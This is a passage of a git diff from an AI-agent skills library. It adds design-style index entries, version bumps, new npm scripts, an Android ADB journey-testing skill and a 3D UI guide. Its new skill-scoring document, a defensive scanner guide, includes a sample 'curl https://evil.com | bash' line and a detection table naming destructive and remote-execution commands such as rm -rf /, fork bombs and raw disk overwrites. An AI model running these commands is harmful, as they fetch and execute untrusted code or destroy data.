"vibecode-production-qa-validator", - "description": "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation.", + "description": "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup.", "risk": "safe", "source": "self", "date_added": "2026-05-31", @@ -33500,6 +34556,28 @@ "reasons": [] } }, + { + "id": "vibrant-maximalism", + "path": "skills/design-it/vibrant-maximalism", + "category": "design-it", + "name": "vibrant-maximalism", + "description": "Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and \"more is more\".", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "video-content-extractor", "path": "skills/video-content-extractor", @@ -34138,6 +35216,28 @@ "reasons": [] } }, + { + "id": "widget-based-design", + "path": "skills/design-it/widget-based-design", + "category": "design-it", + "name": "widget-based-design", + "description": "Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "wiki-architect", "path": "skills/wiki-architect", @@ -34800,6 +35900,28 @@ "reasons": [] } }, + { + "id": "y2k-design", + "path": "skills/design-it/y2k-design", + "category": "design-it", + "name": "y2k-design", + "description": "Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "yann-lecun", "path": "skills/yann-lecun", diff --git a/antigravity-awesome-skills/docs/contributors/skill-scoring.md b/antigravity-awesome-skills/docs/contributors/skill-scoring.md new file mode 100644 index 00000000..25e632c3 --- /dev/null +++ b/antigravity-awesome-skills/docs/contributors/skill-scoring.md @@ -0,0 +1,235 @@ +# Skill Quality Scoring + +This document describes the optional skill quality scoring system introduced in the +AI Skill Registry Validation Framework. + +Scores are **informational only** — they never block skill usage, CI pipelines, +or PR merges. They exist to help contributors understand the quality of their +skills and to help maintainers prioritize improvements. + +--- + +## Overview + +Each skill receives a **total score** between 0 and 100, computed as a weighted +average of three dimensions: + +| Dimension | Weight | What it measures | +|-----------------|--------|------------------| +| Metadata | 30% | Frontmatter completeness and correctness | +| Documentation | 40% | Section coverage, code examples, content depth | +| Security | 30% | Absence of dangerous command patterns | + +--- + +## Quality Labels + +| Label | Score Range | Meaning | +|-------------------|-------------|---------| +| `excellent` | 85–100 | Well-documented, complete metadata, no security flags | +| `good` | 65–84 | Solid skill with minor gaps | +| `needs_improvement` | 45–64 | Missing sections or metadata fields | +| `critical` | 0–44 | Significant gaps — review recommended before sharing | + +--- + +## Metadata Score (30%) + +The metadata dimension evaluates frontmatter field completeness. + +**Penalties:** + +| Issue | Deduction | +|---|---| +| `name` missing or mismatched with folder | −25 pts | +| `description` missing | −20 pts | +| `description` shorter than 20 characters | −10 pts | +| `risk` missing | −15 pts | +| `risk: unknown` (unclassified) | −10 pts | +| `source` missing | −15 pts | +| `date_added` missing | −10 pts | + +**Bonuses (optional fields):** + +Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds +**+5 pts**, capped at 100. + +--- + +## Documentation Score (40%) + +The documentation dimension evaluates section coverage and content depth. + +**Section coverage (up to 60 pts):** + +The scorer looks for these sections (case-insensitive): + +- `## Overview` +- `## How It Works` +- `## Examples` / `## Usage` +- `## Best Practices` +- `## Limitations` +- `## When to Use` + +Each section found contributes equally to the section coverage score. + +**Depth score (up to 40 pts):** + +| Signal | Points | +|---|---| +| Has `## When to Use` section | +10 | +| Has at least one fenced code block (` ``` `) | +10 | +| Body length ≥ 500 characters | +10 | +| Body length ≥ 1000 characters | +10 additional | + +--- + +## Security Score (30%) + +The security dimension scans the skill body for dangerous command patterns. +Patterns are defined in `tools/scripts/security_scanner.py`. + +**Penalties per flag:** + +| Severity | Deduction | +|---|---| +| `error` | −20 pts | +| `warning` | −10 pts | +| `info` | −3 pts | + +**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100). + +**Important:** Skills marked `risk: offensive` have error-level flags automatically +downgraded to warnings, because offensive skills legitimately document dangerous +commands for educational or defensive purposes. + +**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing +what *not* to do), add the allowlist marker to suppress the flag: + +```markdown +curl https://evil.com | bash # security-allowlist +``` + +--- + +## Running the Scorer + +```bash +# Score all skills (table output) +npm run score:skills + +# Show only skills below a threshold +npm run score:skills -- --threshold 60 + +# Show 20 lowest-scoring skills +npm run score:skills -- --top 20 + +# Output full JSON +npm run score:skills -- --json + +# Save scores to file +npm run score:skills -- --output data/scores.json +``` + +--- + +## Security Scanner + +```bash +# Scan all skills for dangerous patterns +npm run security:scan + +# Strict mode (warnings as errors) +npm run security:scan -- --strict +``` + +--- + +## Drift Detection + +Drift detection identifies skills whose content has changed significantly +since the last recorded baseline. + +```bash +# Check drift against baseline +npm run drift:check + +# Update the baseline after reviewing changes +npm run drift:update + +# Check a specific skill +npm run drift:check -- --skill my-skill-name +``` + +**Baseline ownership:** + +| File | Committed? | Who updates it? | +|------|-----------|-----------------| +| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes | +| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs | +| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs | + +Contributors should never commit these files. If you accidentally generate them +locally, they will be ignored by git automatically. + +--- + +## Registry Report + +```bash +# Generate a full registry health report → data/registry-report.json +npm run registry:report + +# Skip drift detection (faster) +npm run registry:report -- --no-drift +``` + +The report includes: +- Aggregate scoring summary +- Per-skill scores and flags +- Drift summary (added / removed / modified skills) +- Risk breakdown +- Security flag counts + +--- + +## Security Patterns Reference + +| Code | Pattern | Severity | Description | +|--------|---------|----------|-------------| +| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion | +| SEC002 | `curl \| bash` | error | Remote code execution | +| SEC003 | `wget \| sh` | error | Remote code execution | +| SEC004 | `Invoke-Expression` | error | PowerShell RCE | +| SEC005 | `iex` | warning | PowerShell alias (context-dependent) | +| SEC006 | `chmod 7xx` | warning | World-writable permissions | +| SEC007 | `eval(` | warning | Dynamic evaluation | +| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation | +| SEC009 | Hardcoded credential | error | Secrets in source | +| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion | +| SEC011 | Fork bomb | error | Infinite process spawner | +| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite | + +--- + +## Frequently Asked Questions + +**Q: Will a low score prevent my skill from being merged?** + +No. Scores are informational. The existing `validate_skills.py` checks are what +gate merges. + +**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?** + +Add `# security-allowlist` at the end of the line showing the dangerous pattern. +This follows the existing project convention for educational examples. + +**Q: Why is documentation weighted higher than metadata?** + +Documentation quality has the highest impact on how useful a skill is to end users. +Complete metadata is valuable but less critical than clear instructions. + +**Q: How does `risk: offensive` affect scoring?** + +Security error flags are downgraded to warnings for offensive skills, because they +legitimately document dangerous techniques for authorized security work. diff --git a/antigravity-awesome-skills/docs/integrations/jetski-cortex.md b/antigravity-awesome-skills/docs/integrations/jetski-cortex.md index 094b70a9..29e802c8 100644 --- a/antigravity-awesome-skills/docs/integrations/jetski-cortex.md +++ b/antigravity-awesome-skills/docs/integrations/jetski-cortex.md @@ -1,9 +1,9 @@ --- title: Jetski/Cortex + Gemini Integration Guide -description: "Use antigravity-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,595+ skills." +description: "Use antigravity-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,646+ skills." --- -# Jetski/Cortex + Gemini: safe integration with 1,595+ skills +# Jetski/Cortex + Gemini: safe integration with 1,646+ skills This guide shows how to integrate the `antigravity-awesome-skills` repository with an agent based on **Jetski/Cortex + Gemini** (or similar frameworks) **without exceeding the model context window**. @@ -23,7 +23,7 @@ Never do: - concatenate all `SKILL.md` content into a single system prompt; - re-inject the entire library for **every** request. -With 1,595+ skills, this approach fills the context window before user messages are even added, causing truncation. +With 1,646+ skills, this approach fills the context window before user messages are even added, causing truncation. --- diff --git a/antigravity-awesome-skills/docs/integrations/jetski-gemini-loader/README.md b/antigravity-awesome-skills/docs/integrations/jetski-gemini-loader/README.md index 3a6d9a4c..681605a6 100644 --- a/antigravity-awesome-skills/docs/integrations/jetski-gemini-loader/README.md +++ b/antigravity-awesome-skills/docs/integrations/jetski-gemini-loader/README.md @@ -21,7 +21,7 @@ This example shows one way to integrate **antigravity-awesome-skills** with a Je - How to enforce a **maximum number of skills per turn** via `maxSkillsPerTurn`. - How to choose whether to **truncate or error** when too many skills are requested via `overflowBehavior`. -This pattern avoids context overflow when you have 1,595+ skills installed. +This pattern avoids context overflow when you have 1,646+ skills installed. Manifest contract references: diff --git a/antigravity-awesome-skills/docs/maintainers/repo-growth-seo.md b/antigravity-awesome-skills/docs/maintainers/repo-growth-seo.md index a2026db9..ae78d68c 100644 --- a/antigravity-awesome-skills/docs/maintainers/repo-growth-seo.md +++ b/antigravity-awesome-skills/docs/maintainers/repo-growth-seo.md @@ -6,7 +6,7 @@ This document keeps the repository's GitHub-facing discovery copy aligned with t Preferred positioning: -> Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants. +> Installable GitHub library of 1,646+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants. Key framing: @@ -20,7 +20,7 @@ Key framing: Preferred description: -> Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections. +> Installable GitHub library of 1,646+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections. Preferred homepage: @@ -28,7 +28,7 @@ Preferred homepage: Preferred social preview: -- use a clean preview image that says `1,595+ Agentic Skills`; +- use a clean preview image that says `1,646+ Agentic Skills`; - mention Claude Code, Cursor, Codex CLI, and Gemini CLI; - avoid dense text and tiny logos that disappear in social cards. diff --git a/antigravity-awesome-skills/docs/maintainers/skills-update-guide.md b/antigravity-awesome-skills/docs/maintainers/skills-update-guide.md index 7b147799..79cdee06 100644 --- a/antigravity-awesome-skills/docs/maintainers/skills-update-guide.md +++ b/antigravity-awesome-skills/docs/maintainers/skills-update-guide.md @@ -72,7 +72,7 @@ The update process refreshes: - Canonical skills index (`skills_index.json`) - Compatibility mirror (`data/skills_index.json`) - Web app skills data (`apps\web-app\public\skills.json`) -- All 1,595+ skills from the skills directory +- All 1,646+ skills from the skills directory ## When to Update diff --git a/antigravity-awesome-skills/docs/users/bundles.md b/antigravity-awesome-skills/docs/users/bundles.md index fab52b4e..b28829c9 100644 --- a/antigravity-awesome-skills/docs/users/bundles.md +++ b/antigravity-awesome-skills/docs/users/bundles.md @@ -917,4 +917,4 @@ Found a skill that should be in a bundle? Or want to create a new bundle? [Open --- -_Last updated: March 2026 | Total Skills: 1,595+ | Total Bundles: 52_ +_Last updated: March 2026 | Total Skills: 1,646+ | Total Bundles: 52_ diff --git a/antigravity-awesome-skills/docs/users/claude-code-skills.md b/antigravity-awesome-skills/docs/users/claude-code-skills.md index d036034d..b56212c7 100644 --- a/antigravity-awesome-skills/docs/users/claude-code-skills.md +++ b/antigravity-awesome-skills/docs/users/claude-code-skills.md @@ -12,7 +12,7 @@ Install the library into Claude Code, then invoke focused skills directly in the ## Why use this repo for Claude Code -- It includes 1,595+ skills instead of a narrow single-domain starter pack. +- It includes 1,646+ skills instead of a narrow single-domain starter pack. - It supports the standard `.claude/skills/` path and the Claude Code plugin marketplace flow. - It also ships generated bundle plugins so teams can install focused packs like `Essentials` or `Security Developer` from the marketplace metadata. - It includes onboarding docs, bundles, and workflows so new users do not need to guess where to begin. diff --git a/antigravity-awesome-skills/docs/users/gemini-cli-skills.md b/antigravity-awesome-skills/docs/users/gemini-cli-skills.md index 81a14362..b6a1545c 100644 --- a/antigravity-awesome-skills/docs/users/gemini-cli-skills.md +++ b/antigravity-awesome-skills/docs/users/gemini-cli-skills.md @@ -12,7 +12,7 @@ Install into the Gemini skills path, then ask Gemini to apply one skill at a tim - It installs directly into the expected Gemini skills path. - It includes both core software engineering skills and deeper agent/LLM-oriented skills. -- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,595+ files. +- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,646+ files. - It is useful whether you want a broad internal skill library or a single repo to test many workflows quickly. ## Install Gemini CLI Skills diff --git a/antigravity-awesome-skills/docs/users/getting-started.md b/antigravity-awesome-skills/docs/users/getting-started.md index e4063bb8..c16dac7f 100644 --- a/antigravity-awesome-skills/docs/users/getting-started.md +++ b/antigravity-awesome-skills/docs/users/getting-started.md @@ -1,4 +1,4 @@ -# Getting Started with Antigravity Awesome Skills (V12.8.0) +# Getting Started with Antigravity Awesome Skills (V12.9.0) **New here? This guide will help you supercharge your AI Agent in 5 minutes.** diff --git a/antigravity-awesome-skills/docs/users/kiro-integration.md b/antigravity-awesome-skills/docs/users/kiro-integration.md index 2c61fc22..71b60cfd 100644 --- a/antigravity-awesome-skills/docs/users/kiro-integration.md +++ b/antigravity-awesome-skills/docs/users/kiro-integration.md @@ -18,7 +18,7 @@ Kiro is AWS's agentic AI IDE that combines: Kiro's agentic capabilities are enhanced by skills that provide: -- **Domain expertise** across 1,595+ specialized areas +- **Domain expertise** across 1,646+ specialized areas - **Best practices** from Anthropic, OpenAI, Google, Microsoft, and AWS - **Workflow automation** for common development tasks - **AWS-specific patterns** for serverless, infrastructure, and cloud architecture diff --git a/antigravity-awesome-skills/docs/users/usage.md b/antigravity-awesome-skills/docs/users/usage.md index 3887b09d..f482b2ac 100644 --- a/antigravity-awesome-skills/docs/users/usage.md +++ b/antigravity-awesome-skills/docs/users/usage.md @@ -14,7 +14,7 @@ If you came in through a **Claude Code** or **Codex** plugin instead of a full l When you ran `npx antigravity-awesome-skills` or cloned the repository, you: -✅ **Downloaded 1,595+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`) +✅ **Downloaded 1,646+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`) ✅ **Made them available** to your AI assistant ❌ **Did NOT enable them all automatically** (they're just sitting there, waiting) @@ -34,7 +34,7 @@ Bundles are **curated groups** of skills organized by role. They help you decide **Analogy:** -- You installed a toolbox with 1,595+ tools (✅ done) +- You installed a toolbox with 1,646+ tools (✅ done) - Bundles are like **labeled organizer trays** saying: "If you're a carpenter, start with these 10 tools" - You can either **pick skills from the tray** or install that tray as a focused marketplace bundle plugin @@ -212,7 +212,7 @@ Let's actually use a skill right now. Follow these steps: ## Step 5: Picking Your First Skills (Practical Advice) -Don't try to use all 1,595+ skills at once. Here's a sensible approach: +Don't try to use all 1,646+ skills at once. Here's a sensible approach: If you want a tool-specific starting point before choosing skills, use: @@ -343,7 +343,7 @@ Usually no, but if your AI doesn't recognize a skill: ### "Can I load all skills into the model at once?" -No. Even though you have 1,595+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block. +No. Even though you have 1,646+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block. The intended pattern is: diff --git a/antigravity-awesome-skills/docs/users/visual-guide.md b/antigravity-awesome-skills/docs/users/visual-guide.md index a8b8512a..f6d21df6 100644 --- a/antigravity-awesome-skills/docs/users/visual-guide.md +++ b/antigravity-awesome-skills/docs/users/visual-guide.md @@ -34,7 +34,7 @@ antigravity-awesome-skills/ ├── 📄 CONTRIBUTING.md ← Contributor workflow ├── 📄 CATALOG.md ← Full generated catalog │ -├── 📁 skills/ ← 1,595+ skills live here +├── 📁 skills/ ← 1,646+ skills live here │ │ │ ├── 📁 brainstorming/ │ │ └── 📄 SKILL.md ← Skill definition @@ -47,7 +47,7 @@ antigravity-awesome-skills/ │ │ └── 📁 2d-games/ │ │ └── 📄 SKILL.md ← Nested skills also supported │ │ -│ └── ... (1,595+ total) +│ └── ... (1,646+ total) │ ├── 📁 apps/ │ └── 📁 web-app/ ← Interactive browser @@ -100,7 +100,7 @@ antigravity-awesome-skills/ ``` ┌─────────────────────────┐ - │ 1,595+ SKILLS │ + │ 1,646+ SKILLS │ └────────────┬────────────┘ │ ┌────────────────────────┼────────────────────────┐ @@ -201,7 +201,7 @@ If you want a workspace-style manual install instead, cloning into `.agent/skill │ ├── 📁 brainstorming/ │ │ ├── 📁 stripe-integration/ │ │ ├── 📁 react-best-practices/ │ -│ └── ... (1,595+ total) │ +│ └── ... (1,646+ total) │ └─────────────────────────────────────────┘ ``` diff --git a/antigravity-awesome-skills/package-lock.json b/antigravity-awesome-skills/package-lock.json index d35814c4..9432dc9a 100644 --- a/antigravity-awesome-skills/package-lock.json +++ b/antigravity-awesome-skills/package-lock.json @@ -1,12 +1,12 @@ { "name": "antigravity-awesome-skills", - "version": "12.8.0", + "version": "12.9.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "antigravity-awesome-skills", - "version": "12.8.0", + "version": "12.9.0", "license": "MIT", "dependencies": { "yaml": "^2.8.2" diff --git a/antigravity-awesome-skills/package.json b/antigravity-awesome-skills/package.json index 86dcafbf..906b8503 100644 --- a/antigravity-awesome-skills/package.json +++ b/antigravity-awesome-skills/package.json @@ -1,7 +1,7 @@ { "name": "antigravity-awesome-skills", - "version": "12.8.0", - "description": "1,595+ agentic skills for Claude Code, Gemini CLI, Cursor, Antigravity & more. Installer CLI.", + "version": "12.9.0", + "description": "1,646+ agentic skills for Claude Code, Gemini CLI, Cursor, Antigravity & more. Installer CLI.", "license": "MIT", "scripts": { "validate": "node tools/scripts/run-python.js tools/scripts/validate_skills.py", @@ -39,6 +39,14 @@ "audit:consistency:github": "node tools/scripts/run-python.js tools/scripts/audit_consistency.py --check-github-about", "audit:maintainer": "node tools/scripts/run-python.js tools/scripts/maintainer_audit.py", "security:docs": "node tools/scripts/tests/docs_security_content.test.js", + "security:scan": "node tools/scripts/run-python.js tools/scripts/security_scanner.py", + "security:scan:strict": "node tools/scripts/run-python.js tools/scripts/security_scanner.py --strict", + "score:skills": "node tools/scripts/run-python.js tools/scripts/score_skills.py", + "score:skills:json": "node tools/scripts/run-python.js tools/scripts/score_skills.py --json", + "score:skills:report": "node tools/scripts/run-python.js tools/scripts/score_skills.py --output data/scores.json", + "drift:check": "node tools/scripts/run-python.js tools/scripts/detect_drift.py", + "drift:update": "node tools/scripts/run-python.js tools/scripts/detect_drift.py --update-baseline", + "registry:report": "node tools/scripts/run-python.js tools/scripts/generate_registry_report.py", "pr:preflight": "node tools/scripts/pr_preflight.cjs", "merge:batch": "node tools/scripts/merge_batch.cjs", "release:preflight": "node tools/scripts/release_workflow.js preflight", diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/.claude-plugin/plugin.json index 37502d5a..53daa388 100644 --- a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "antigravity-awesome-skills", - "version": "12.8.0", - "description": "Plugin-safe Claude Code distribution of Antigravity Awesome Skills with 1,561 supported skills.", + "version": "12.9.0", + "description": "Plugin-safe Claude Code distribution of Antigravity Awesome Skills with 1,612 supported skills.", "author": { "name": "sickn33 and contributors", "url": "https://github.com/sickn33/antigravity-awesome-skills" diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/android-ui-journey-testing/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/android-ui-journey-testing/SKILL.md new file mode 100644 index 00000000..13958157 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/android-ui-journey-testing/SKILL.md @@ -0,0 +1,191 @@ +--- +name: android-ui-journey-testing +description: "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting." +category: testing +risk: critical +source: self +source_type: self +date_added: "2026-06-18" +author: Owais +tags: [android, journey-testing, ui-verification, testing, adb, automation] +tools: [claude, cursor, gemini, antigravity] +--- + +# Android UI Journey Testing + +## Overview + +This skill outlines the standard workflow for running XML-specified User Journey tests on Android applications. A "journey" is a sequenced set of user actions and state assertions designed to verify end-to-end functionality. The journey XML acts as the source of truth for the app's behavior. The executor proceeds sequentially, performing UI interactions, checking state assertions, and writing a standardized JSON outcome report. + +## When to Use + +- Use when evaluating an Android application's UI behavior against an XML test specification. +- Use when automating multi-step user flows (e.g., login, checkout, navigation) and verifying expectations. +- Use when running verification tests and generating standardized JSON test reports. +- Use when debugging application flows on physical devices or emulators using ADB commands. + +## How It Works + +```mermaid +graph TD + A[Parse Journey XML] --> B[Execute Action / Interaction] + B --> C{Success?} + C -- Yes --> D[Verify State Expectation / Assertion] + C -- No/Crash --> G[Mark FAILED & Exit] + D -- Passed --> E{More Steps?} + D -- Failed --> G + E -- Yes --> B + E -- No --> F[Output JSON Summary] +``` + +### Step 1: Parse the Journey Specification +Read and parse the XML test suite structure. The root node `` defines the test case name, and the `` block contains the sequence of test steps. + +```xml + + Verify that searching for an item and adding it to the cart succeeds. + + Search for soda + Tap the first search result + Verify that the product detail screen is shown + + +``` + +### Step 2: Sequential Step Evaluation +Process each `` element in the exact order specified. Test steps are classified into two groups: + +#### A. Interactive Actions (Taps, Swipes, Text Input) +Perform the physical UI interaction using ADB. +- **Tapping**: Tap the center of the target element's bounds: + ```bash + adb shell input tap + ``` +- **Swiping/Scrolling**: Swipe from coordinate to coordinate with a duration: + ```bash + adb shell input swipe + ``` +- **Text Typing**: Type text into the active input field: + ```bash + adb shell input text "" + ``` +If the element is missing or the action cannot be performed, the action and the journey fail. + +#### B. State Assertions (Expectation Verification) +Steps beginning with "verify", "check", or "ensure" represent state assertions. +- Inspect the current screen (using screenshots or `uiautomator dump`) without interacting or scrolling. +- Confirm all sub-assertions are met. For example, *"Verify that the app is on the Home screen and the logo is visible"* fails if the home screen is not displayed **or** the logo is missing. + +### Step 3: Handle Failures and Crashes +If the application crashes, exits, freezes, or fails an assertion: +1. Immediately stop journey execution. +2. Mark the failed step as `FAILED`. +3. Mark any subsequent steps as `SKIPPED`. +4. Document the exact reason for failure. + +### Step 4: Generate JSON Report +Format the execution results into a standardized JSON schema and write it to the output log. + +--- + +## Examples + +### Example 1: Full Journey XML Specification + +```xml + + Logs into the app, navigates to settings, and changes user profile information. + + Verify that the username input field is visible + Tap the username input field + Type "testuser" into the input + Tap the password input field + Type "password123" into the input + Tap the "Login" button + Verify that the Home dashboard is visible and user profile photo is shown + + +``` + +### Example 2: Standard JSON Outcome Report + +```json +{ + "journey": "Login and Profile Edit", + "results": [ + { + "action": "Verify that the username input field is visible", + "status": "PASSED", + "commands": [], + "comment": "Username input detected at bounds [100,200][980,300] via UI dump." + }, + { + "action": "Tap the username input field", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 250" + ], + "comment": "Tapped center coordinates of username input." + }, + { + "action": "Type \"testuser\" into the input", + "status": "PASSED", + "commands": [ + "adb shell input text \"testuser\"" + ], + "comment": "Username typed successfully." + }, + { + "action": "Tap the password input field", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 370" + ], + "comment": "Tapped center of password input." + }, + { + "action": "Type \"password123\" into the input", + "status": "PASSED", + "commands": [ + "adb shell input text \"password123\"" + ], + "comment": "Password typed successfully." + }, + { + "action": "Tap the \"Login\" button", + "status": "PASSED", + "commands": [ + "adb shell input tap 540 500" + ], + "comment": "Login button clicked." + }, + { + "action": "Verify that the Home dashboard is visible and user profile photo is shown", + "status": "FAILED", + "commands": [], + "comment": "Dashboard loaded but profile photo was missing from the UI header." + } + ] +} +``` + +--- + +## Best Practices + +- ✅ **Calculate Centers for Taps**: When parsing element bounds like `[x1,y1][x2,y2]`, always compute the middle coordinate: + $$x_{center} = \frac{x_1 + x_2}{2}, \quad y_{center} = \frac{y_1 + y_2}{2}$$ +- ✅ **Include Sleep Buffers**: Always add a short delay (e.g., 1-2 seconds) after interactive actions (like button taps) to let layouts and transitions render before executing assertions. +- ✅ **Fail Fast**: Stop the test immediately upon encountering the first failure. Continuing after a failure leads to invalid results. +- ✅ **Log Precise Commands**: Include every raw command (such as `adb shell input tap`) in the JSON output list for diagnostics. + +## Limitations + +- The parser only evaluates the static screen hierarchy (e.g. `uiautomator dump`). Elements that require scrolling are marked as not visible unless a scrolling action is explicitly performed. +- Non-standard UI components (like custom OpenGL canvas views) cannot be read via standard accessibility trees and may require screenshot analysis or hardcoded click maps. +- Key events and text typing via ADB do not trigger standard soft keyboard events on all emulator images, which can lead to input validation issues. + +## Related Skills + +- `@android-cli` - General CLI tool syntax, package install, and device queries. +- `@android_ui_verification` - Direct ADB script templates for general UI checks. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/3d-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/3d-ui/SKILL.md new file mode 100644 index 00000000..02f97ce6 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/3d-ui/SKILL.md @@ -0,0 +1,259 @@ +--- +name: 3d-ui +description: Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# 3D UI + +> "Breaking the plane. Interfaces that exist in a three-dimensional, rotatable space." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **True Depth (Z-Axis Translation)**: Elements don't just have shadows; they physically move closer to or further from the camera. +2. **Perspective**: Use CSS perspective or WebGL to create realistic vanishing points. +3. **Interactive Rotation**: Elements should respond to mouse movement or device gyroscope by tilting or rotating in 3D space. + +## Visual DNA +- **Colors**: Bold, striking palettes like **Midnight Luxury** or **Industrial Chic**. 3D elements need high contrast to show their geometry. +- **Typography**: Bold, blocky, or extruded text. +- **Graphics**: Instead of flat icons, use rendered 3D assets (.glb, .gltf, or high-res PNGs of 3D objects). + +## Web Implementation +- Rely heavily on `perspective`, `transform-style: preserve-3d`, and `rotateX`/`rotateY`. +- **CSS Example**: +```css +.perspective-container { + perspective: 1000px; + display: flex; + justify-content: center; + align-items: center; +} + +.card-3d { + width: 300px; + height: 400px; + transform-style: preserve-3d; + transition: transform 0.5s ease; + + /* Initial slight rotation */ + transform: rotateX(15deg) rotateY(-15deg); +} + +.card-3d:hover { + /* Straighten out on hover */ + transform: rotateX(0) rotateY(0) translateZ(50px); +} + +/* Inner elements popping out */ +.card-content { + transform: translateZ(30px); /* Pushes content 30px closer to viewer */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct Card3D: View { + @State private var dragOffset = CGSize.zero + + var body: some View { + VStack { + Text("3D Card") + .font(.largeTitle.bold()) + .foregroundColor(.white) + } + .frame(width: 300, height: 400) + .background( + LinearGradient(colors: [.blue, .purple], startPoint: .topLeading, endPoint: .bottomTrailing) + ) + .cornerRadius(24) + .shadow(radius: 20) + // Magic 3D effect based on drag gesture + .rotation3DEffect( + .degrees(Double(dragOffset.width / 10)), + axis: (x: 0, y: 1, z: 0), + perspective: 0.5 + ) + .rotation3DEffect( + .degrees(Double(-dragOffset.height / 10)), + axis: (x: 1, y: 0, z: 0), + perspective: 0.5 + ) + .gesture( + DragGesture() + .onChanged { value in + withAnimation(.interactiveSpring()) { + dragOffset = value.translation + } + } + .onEnded { _ in + withAnimation(.spring()) { + dragOffset = .zero + } + } + ) + } +} +``` +- SwiftUI makes this incredibly easy with `.rotation3DEffect()`. +- Use the `perspective` parameter (default 1/6, higher = more distorted) to control the camera distance. +- Link the rotation axes (`x`, `y`) to drag gestures or CoreMotion (gyroscope) for interactive 3D UI. + +### Flutter +```dart +class Card3D extends StatefulWidget { + @override + State createState() => _Card3DState(); +} + +class _Card3DState extends State { + Offset _offset = Offset.zero; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onPanUpdate: (details) { + setState(() => _offset += details.delta); + }, + onPanEnd: (_) { + setState(() => _offset = Offset.zero); // Snap back + }, + child: TweenAnimationBuilder( + tween: Tween(begin: Offset.zero, end: _offset), + duration: const Duration(milliseconds: 200), + curve: Curves.easeOut, + builder: (context, Offset offset, child) { + // Perspective Matrix + final transform = Matrix4.identity() + ..setEntry(3, 2, 0.001) // perspective + ..rotateX(-offset.dy * 0.01) + ..rotateY(offset.dx * 0.01); + + return Transform( + transform: transform, + alignment: FractionalOffset.center, + child: Container( + width: 300, + height: 400, + decoration: BoxDecoration( + gradient: const LinearGradient(colors: [Colors.blue, Colors.purple]), + borderRadius: BorderRadius.circular(24), + boxShadow: const [BoxShadow(color: Colors.black45, blurRadius: 20)], + ), + alignment: Alignment.center, + child: const Text('3D Card', + style: TextStyle(color: Colors.white, fontSize: 32, fontWeight: 